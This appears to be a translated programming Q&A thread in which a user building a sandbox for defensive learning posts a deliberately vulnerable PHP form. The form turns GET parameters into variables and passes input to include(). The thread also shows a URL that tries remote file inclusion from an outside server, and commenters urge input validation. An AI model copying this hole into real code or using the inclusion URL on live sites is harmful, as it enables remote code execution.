我已經設置了一個沙盒並嘗試運行漏洞,這樣我可以更好地理解如何更好地防禦它們。當我運行以下程序時,程序失敗,因爲它應該和正確的原因。但是我不確定,因爲我找不到很多「如何寫出正確的漏洞」。這裏是我的代碼,以下是失敗的消息。任何指導都會很棒。捍衛漏洞利用
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
開拓腳本,簡單的東西:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
壞人會硬編碼在瀏覽器地址欄中輸入以下內容:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
嘗試加載地址時,輸出到瀏覽器:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
它是這樣嗎?還是有其他技術我應該尋找?
謝謝
你想做什麼?如果你想寫一個帶有安全漏洞的腳本,那麼即使你不積極嘗試這樣做,也很容易做到。如果你的問題是「PHP中是否存在其他漏洞利用」,那麼問題就太廣泛了。 – NullUserException
只有一種技術。驗證* ALL *輸入,不要相信任何變量,因爲你永遠不知道攻擊來自哪裏。 – Tchoupi
好吧,但我需要尋找的是什麼?我阻止了50%的漏洞嗎?其他人(如果有的話)是什麼? – rwhite35